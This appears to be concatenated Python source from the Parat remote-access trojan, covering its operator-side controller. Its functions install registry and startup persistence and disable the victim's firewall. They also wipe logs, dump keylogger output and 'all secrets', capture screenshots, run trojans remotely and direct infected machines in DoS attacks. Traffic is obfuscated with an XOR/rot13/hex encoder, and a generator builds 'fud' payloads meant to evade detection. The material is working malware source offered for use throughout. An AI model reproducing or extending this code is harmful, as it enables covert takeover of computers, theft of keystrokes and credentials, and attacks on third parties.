def start(self): try: if len(self.args) == 0: pprint( colorize("usage: runfile keylogger.exe\n", colored=self.colors, status="INF")) else: self.trojan_name = self.args[0] text = colorize("uploading", colored=self.colors, status="INF") self.process_bar = ParatProcessBar(text) if os.path.isfile(self.trojan_name): self.local_method() else: self.remote_method() except Exception as e: if self.process_bar: self.process_bar.Stop = True sleep(0.2) pprint( colorize("Running failed.\n", colored=self.colors, status="ERR"), 1)
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) if argument.status: self.conn.send(Encode("backdoor<#>status")) elif argument.remove: self.conn.send(Encode("backdoor<#>remove")) elif argument.registry: self.conn.send(Encode("backdoor<#>registry")) elif argument.startup: self.conn.send(Encode("backdoor<#>startup")) response = Decode(self.conn.recv(4096)) if "installed." in response or "enable." in response: self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?", (True, self.client_id)) else: self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?", (False, self.client_id)) self.db.commit() pprint(response) if self.colors else pprint(gray(response)) except: pass
def start(self): try: recived_data = self.conn.recv(4096) while recived_data: self.screenshot_file.write(recived_data) sleep(0.1) recived_data = self.conn.recv(4096) if self.handler in recived_data: self.screenshot_file.write( recived_data.replace(self.handler, "")) break self.screenshot_file.close() self.process_bar.Stop = True sleep(0.2) pprint( colorize("Captured: %s\n" % self.filename, colored=self.colors, status="SUC")) # system('feh ' + self.filename) except socket.error: self.process_bar.Stop = True sleep(0.2) CTRL_C(self.conn, self.handler, self.colors, self.filename.replace(".bmp", ""))
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) if argument.active: self.conn.send(Encode("firewall<#>active")) elif argument.deactive: self.conn.send(Encode("firewall<#>deactive")) elif argument.status: self.conn.send(Encode("firewall<#>status")) response = Decode(self.conn.recv(4096)) pprint("\n%s\n" % response) if self.colors else pprint("\n%s\n" % gray(response)) except Exception as e: print(e)
def check_update(): root_path = abspath(join(dirname(__file__))) parser = ConfigParser() path_to_config = join(root_path, "..", "conf", "config.ini") with open(path_to_config, 'r') as config: parser.readfp(config) config.close() color_mode = parser.get('cmd', 'colors').lower() colored = True if color_mode == "on" else False try: updateurl = 'https://raw.githubusercontent.com/micle-fm/Parat/master/conf/parat.version' request = urlopen(updateurl) parat_version = request.read().rstrip('\n') request.close() except: path_to_version_file = join(root_path, "..", "conf", "parat.version") with open(path_to_version_file, 'r') as ver_file: parat_version = ver_file.read().rstrip('\n') ver_file.close() if parat_version != __version__: pprint( colorize( "\t New version aviable on https://github.com/micle-fm/parat .\n", colored=colored, status="WAR"))
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) self.conn.send( Encode(" ".join([ "dos", argument.ip, argument.method, str(argument.packets) ]))) attack_result = Decode(self.conn.recv(4096)) while attack_result: for line in attack_result.split("\n"): pprint(line + '\n') sleep(.03) attack_result = Decode(self.conn.recv(4096)) if self.handler in attack_result: pprint( colorize("Attack stoppetd!\n\n", colored=self.colors, status="WAR")) break except: pass
def in_main(self): pprint(""" Command Description ======= ======================== ! run commands by id(history_id) help show this message banner show parat banner clear clear the terminal history show command history cd change directory pwd echo current directory nano use nano editor in parat python interactive shell(debuging purposes) config edit config file manually bash get your bash shell listen start listen for target generate fud server generation sessions control connected targets settings control parat settings author about parat develepoer version show current version exit fully go out parat shell off exit and fully shutdown machine\n """)
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) finall_command = "{}<#>{}<#>{}<#>{}<#>{}".format( "msgbox", argument.title, argument.message, argument.icon, argument.button, ) self.conn.send(Encode(finall_command)) result = Decode(self.conn.recv(4096)) if "error" in result: pprint(colorize(result, colored=self.colors, status="ERR")) else: pprint(colorize(result, colored=self.colors, status="SUC")) except: pass
def dump_changes(self): self.conn.send(Encode(">ch4ng3s<")) recived_data = Decode(self.conn.recv(4096)) while self.handler not in recived_data: pprint(recived_data) sleep(0.1) recived_data = Decode(self.conn.recv(4096))
def Encode(str): try: str = unicode(str, errors='ignore') cipher = "" for i in range(len(str)): cipher += chr(ord(str[i])^(ord("P"))) cipher = cipher.encode('rot13').encode('hex') return cipher + suffix except Exception as e: pprint(str(e), 1)
def Decode(hex): try: hex = unicode(hex, errors='ignore') plain = "" cipher = hex.decode('hex').decode('rot13') for i in range(len(cipher)): plain += chr(ord(cipher[i])^(ord("P"))) return plain except Exception as e: pprint(str(e), 1)
def read_offline(self): self.conn.send(Encode("#NFSCAN")) with open(self.scan_file, 'r') as info: content = info.read() pprint('\n' + content + '\n\n') self.db_con.execute("UPDATE targets SET oPorts=? WHERE id=?", (content, self.client_id)) self.db_con.commit() info.close()
def start(self): try: url = self.args[0] if url is not None: self.conn.send(Encode("ie<#>" + self.args[0])) response = Decode(self.conn.recv(4096)) if "error" in response: pprint( colorize(response, colored=self.colors, status="ERR")) else: pprint( colorize(response, colored=self.colors, status="SUC")) else: pprint( colorize(" usage: explorer google.com", colored=self.colors, status="INF"), 1) except Exception as e: pprint(colorize(str(e) + '\n', colored=self.colors, status="ERR"), 1)
def start(self): try: self.conn.send(Encode("scan")) # check for first connection if self.uflag or not os.path.isfile(self.scan_file): self.recive_online() else: self.read_offline() except Exception as e: pprint(colorize(str(e) + "\n", colored=self.colors, status="ERR"), 1)
def echo_des_message(client_id, lport, cliuser, rip, rport, colors): message = colorize( "\r[-]Session %s Closed on %d (%s) -> [%s:%d]\n" % \ ( client_id, lport, cliuser, rip, rport ), colored=colors, color="LRED" ) pprint(message)
def finally_generate(self): if self.path == None: self.path = os.path.abspath('') result = create_it(self.output, self.host, self.port, self.current_platform, self.current_arch, self.path, self.scriptlet[1], self.encoding) if not result: pprint( colorize(">>Saved : ", colored=self.colors, color="GREEN") + str(self.path + "/parat_output/" + self.output) + "\n") else: pprint(colorize(result + "\n", colored=self.colors, status="ERR"), 1)
def make_directory(self, new_folder): if new_folder is not None and len(new_folder) != 0: new_folder = new_folder[0].strip() self.conn.send(Encode("mkdir<#>" + new_folder)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: mkdir \"New Foler\" \n", colored=self.colors, status="INF"))
def show(self): status = self.wash(self.config.get('cmd', 'colors')) self.colors = True if status == "on" else False cpath = self.wash(self.config.get('gen', 'path')) self.path = None if cpath.strip() == "" else cpath.strip() current_settings = GenHelp.genshow(self="") if \ self.colors else gray(GenHelp.genshow(self="")) pprint( current_settings.format(self.current_platform, self.current_arch, self.host, self.port, self.output, self.scriptlet[0], self.path)) pprint("\n")
def change_directory(self, dirc): if dirc is not None and len(dirc) != 0: directory = dirc[0].strip() self.conn.send(Encode("cd<#>" + directory)) response = Decode(self.conn.recv(4096)) + "\n" pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: cd \"New Folder\" \n", colored=self.colors, status="INF"))
def start(self): self.conn.send(Encode("rmlog")) text = colorize( "cleaning logs", colored=self.colors, status="INF" ) process_bar = ParatProcessBar(text) process_bar.start_process() result = Decode(self.conn.recv(4096)) process_bar.Stop = True sleep(0.2) pprint(result) if self.colors else pprint(gray(result))
def start(self): try: if len(self.args) == 0: pprint( colorize( "usage: wget http://google.com/file.any\n", colored=self.colors, status="INF" )) else: text = colorize( "downloading", colored=self.colors, status="INF" ) process_bar = ParatProcessBar(text) process_bar.start_process() url_address = self.args[0] if url_address.strip() != "": start_download_from_url = "wget<#>" + url_address self.conn.send(Encode(start_download_from_url)) response = str(Decode(self.conn.recv(4096))) process_bar.Stop = True sleep(0.2) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize( "No specified url.\n", colored=self.colors, status="ERR" )) except: if process_bar: process_bar.Stop = True; sleep(0.2) pprint( colorize( "Url error.\n", colored=self.colors, status="ERR" ), 1)
def kill_process(self, pid): try: pid = pid[1].strip() if pid != "": self.conn.send(Encode("kill " + pid)); sleep(0.1) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize( "No PID specified.\n", colored=self.colors, status="ERR" ), 1) except: pprint( colorize( "Kill error.\n", colored=self.colors, status="ERR" ), 1)
def remove(self, arg): if arg is not None and len(arg) != 0: arg = arg[0].strip() folder_flag = False file_flag = False self.conn.send(Encode("rmv<#>" + arg)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: rmv anything\n", colored=self.colors, status="INF"))
def in_controller(self): pprint(""" Command Description ======= ============================== help show this message and exit clear clear the terminal continue use if results are tumble background keep target and go to main menu tree show current directory tree cd change directory pwd show current directory on target touch make new file mkdir make new directory rmv remove file or directory active_window get last clicked window information datime time from last activate msgbox show message box sysinfo get system information drives list user partitions dump find all secrets on target! pzip unzip a '.zip' file shell get shell for cmd command scan scan top 25 ports on a single host wget download file 'from url to target' machine explorer open website using internet explorer download download file from target machine upload upload file to target machine screenshot take screenshot target desktop uninstall remove installed program getps get process list kill kill a process with PID runfile run trojan on target (remote/local support) firewall disable target firewall rmlog clen all logs(may take few time at first time) desktop active remote desktop protocol backdoor apply persistence mechanism dos use target for ddos attacks shutdown shutdown target machine and close connection reboot restart target machine and close connection switch control another session disconnect cut target connection remove disconnect + delete executed file\n """)
def start_process(self): self.Stop = False Process = Thread(target=self.Run) Process.start() if self.keyword is None: pass elif self.keyword == "#RELAXATION": sleep(random.random()) self.Stop = True else: self.Stop = True error_message = "Invalid keyword for process bar: {}\n".format( self.keyword) pprint(colorize(error_message, status="ERR"), 1)
def set_scriptlet(self, scriptlet): if os.path.isfile(scriptlet): self.scriptlet[0] = scriptlet self.scriptlet[1] = open(scriptlet, "r").read() self.config.set('gen', 'scriptlet', scriptlet) with open(self.conf_path, 'wb') as confile: self.config.write(confile) confile.close() return True else: pprint( colorize("Script not found: %s\n" % scriptlet, colored=self.colors, status="ERR"), 1) return False
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.handlerTxt: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) final_command = "pzip<#>{}<#>{}".format( argument.file, argument.passwd) self.conn.send(Encode(final_command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) except: pass
def dump_keys(self): try: if not isfile(self.keylogger_name): system("touch '{}'".format(self.keylogger_name)) self.conn.send(Encode(">keyl0gger<")) recived_data = Decode(self.conn.recv(4096)) pprint(recived_data) system("echo '{}' >> {}".format(recived_data, self.keylogger_name)) except Exception as e: pprint( colorize( e + "\n", colored=self.colors, status="ERR" ), 1)
def help(self): status = self.wash(self.config.get('cmd', 'colors')) self.colors = True if status == "on" else False cpath = self.wash(self.config.get('gen', 'path')) self.path = None if cpath.strip() == "" else cpath.strip() help_banner = GenHelp.genhelp(self="") if \ self.colors else gray(GenHelp.genhelp(self="")) if self.random_output: pprint( help_banner.format(self.current_platform, self.current_arch, self.host, self.port, self.scriptlet[0], self.path)) else: pprint( help_banner.format(self.current_platform, self.current_arch, self.host, self.port, self.output, self.scriptlet[0], self.path))
def set_path(self, path): try: check = os.path.join(path, '.parat_tmp') open(check, 'w') except Exception as error: if error.errno == 2: pprint( colorize("No such file or directory: '%s'\n" % path, colored=self.colors, status="ERR"), 1) elif error.errno == 13: pprint( colorize("Permission denied: '%s'\n" % path, colored=self.colors, status="ERR"), 1) else: pprint( colorize(str(error) + '\n', colored=self.colors, status="ERR"), 1) return False else: self.path = path self.config.set('gen', 'path', path) with open(self.conf_path, 'wb') as confile: self.config.write(confile) confile.close() return True